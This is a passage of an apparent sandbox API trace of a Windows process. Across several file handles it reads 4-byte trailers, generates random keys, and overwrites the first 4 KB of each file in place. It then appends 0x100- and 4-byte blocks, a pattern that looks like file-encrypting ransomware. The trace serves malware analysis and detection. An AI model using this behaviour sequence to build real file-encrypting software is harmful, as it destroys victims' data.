hHeap=0x540000) returned 1 [0079.455] GetProcessHeap () returned 0x540000 [0079.455] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0079.455] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.455] WriteFile (in: hFile=0x784, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0079.455] WriteFile (in: hFile=0x784, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0079.455] GetProcessHeap () returned 0x540000 [0079.455] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0079.455] GetProcessHeap () returned 0x540000 [0079.455] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0079.455] GetProcessHeap () returned 0x540000 [0079.455] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0079.455] CloseHandle (hObject=0x784) returned 1 [0079.457] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 14 [0079.457] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.457] ReadFile (in: hFile=0x788, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0079.457] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.457] GetProcessHeap () returned 0x540000 [0079.457] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0079.457] GetProcessHeap () returned 0x540000 [0079.457] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0079.458] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0079.458] GetProcessHeap () returned 0x540000 [0079.458] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0079.458] ReadFile (in: hFile=0x788, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0079.508] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.508] WriteFile (in: hFile=0x788, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0079.508] GetProcessHeap () returned 0x540000 [0079.508] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0079.508] GetProcessHeap () returned 0x540000 [0079.508] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.508] GetProcessHeap () returned 0x540000 [0079.508] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0079.508] GetProcessHeap () returned 0x540000 [0079.508] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.508] GetProcessHeap () returned 0x540000 [0079.508] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0079.508] GetProcessHeap () returned 0x540000 [0079.508] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.508] GetProcessHeap () returned 0x540000 [0079.508] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.508] GetProcessHeap () returned 0x540000 [0079.508] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.508] GetProcessHeap () returned 0x540000 [0079.508] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.509] GetProcessHeap () returned 0x540000 [0079.509] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.509] GetProcessHeap () returned 0x540000 [0079.509] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.509] GetProcessHeap () returned 0x540000 [0079.509] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.509] GetProcessHeap () returned 0x540000 [0079.509] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.509] GetProcessHeap () returned 0x540000 [0079.509] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.520] GetProcessHeap () returned 0x540000 [0079.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.520] GetProcessHeap () returned 0x540000 [0079.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.520] GetProcessHeap () returned 0x540000 [0079.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.520] GetProcessHeap () returned 0x540000 [0079.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.520] GetProcessHeap () returned 0x540000 [0079.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.520] GetProcessHeap () returned 0x540000 [0079.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.521] GetProcessHeap () returned 0x540000 [0079.521] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0079.521] GetProcessHeap () returned 0x540000 [0079.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.522] GetProcessHeap () returned 0x540000 [0079.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.523] GetProcessHeap () returned 0x540000 [0079.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.524] GetProcessHeap () returned 0x540000 [0079.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.524] GetProcessHeap () returned 0x540000 [0079.524] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.524] GetProcessHeap () returned 0x540000 [0079.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.524] GetProcessHeap () returned 0x540000 [0079.524] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0079.524] GetProcessHeap () returned 0x540000 [0079.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.524] GetProcessHeap () returned 0x540000 [0079.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0079.524] GetProcessHeap () returned 0x540000 [0079.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0079.524] GetProcessHeap () returned 0x540000 [0079.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.524] GetProcessHeap () returned 0x540000 [0079.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0079.524] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.524] WriteFile (in: hFile=0x788, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0079.529] WriteFile (in: hFile=0x788, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0079.529] GetProcessHeap () returned 0x540000 [0079.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0079.529] GetProcessHeap () returned 0x540000 [0079.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0079.529] GetProcessHeap () returned 0x540000 [0079.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0079.529] CloseHandle (hObject=0x788) returned 1 [0079.531] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 15 [0079.531] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.531] ReadFile (in: hFile=0x77c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0079.531] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.531] GetProcessHeap () returned 0x540000 [0079.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0079.531] GetProcessHeap () returned 0x540000 [0079.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0079.531] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0079.531] GetProcessHeap () returned 0x540000 [0079.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0079.531] ReadFile (in: hFile=0x77c, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0079.599] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.599] WriteFile (in: hFile=0x77c, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0079.599] GetProcessHeap () returned 0x540000 [0079.599] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0079.599] GetProcessHeap () returned 0x540000 [0079.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.600] GetProcessHeap () returned 0x540000 [0079.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.601] GetProcessHeap () returned 0x540000 [0079.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.601] GetProcessHeap () returned 0x540000 [0079.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.602] GetProcessHeap () returned 0x540000 [0079.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0079.602] GetProcessHeap () returned 0x540000 [0079.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.602] GetProcessHeap () returned 0x540000 [0079.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0079.602] GetProcessHeap () returned 0x540000 [0079.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0079.602] GetProcessHeap () returned 0x540000 [0079.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0079.602] GetProcessHeap () returned 0x540000 [0079.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0079.602] GetProcessHeap () returned 0x540000 [0079.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0079.602] GetProcessHeap () returned 0x540000 [0079.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0079.602] GetProcessHeap () returned 0x540000 [0079.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.602] GetProcessHeap () returned 0x540000 [0079.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0079.602] GetProcessHeap () returned 0x540000 [0079.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.602] GetProcessHeap () returned 0x540000 [0079.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.603] GetProcessHeap () returned 0x540000 [0079.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.603] GetProcessHeap () returned 0x540000 [0079.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.603] GetProcessHeap () returned 0x540000 [0079.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.603] GetProcessHeap () returned 0x540000 [0079.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.603] GetProcessHeap () returned 0x540000 [0079.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.603] GetProcessHeap () returned 0x540000 [0079.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.603] GetProcessHeap () returned 0x540000 [0079.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.603] GetProcessHeap () returned 0x540000 [0079.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.603] GetProcessHeap () returned 0x540000 [0079.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.603] GetProcessHeap () returned 0x540000 [0079.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.603] GetProcessHeap () returned 0x540000 [0079.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.604] GetProcessHeap () 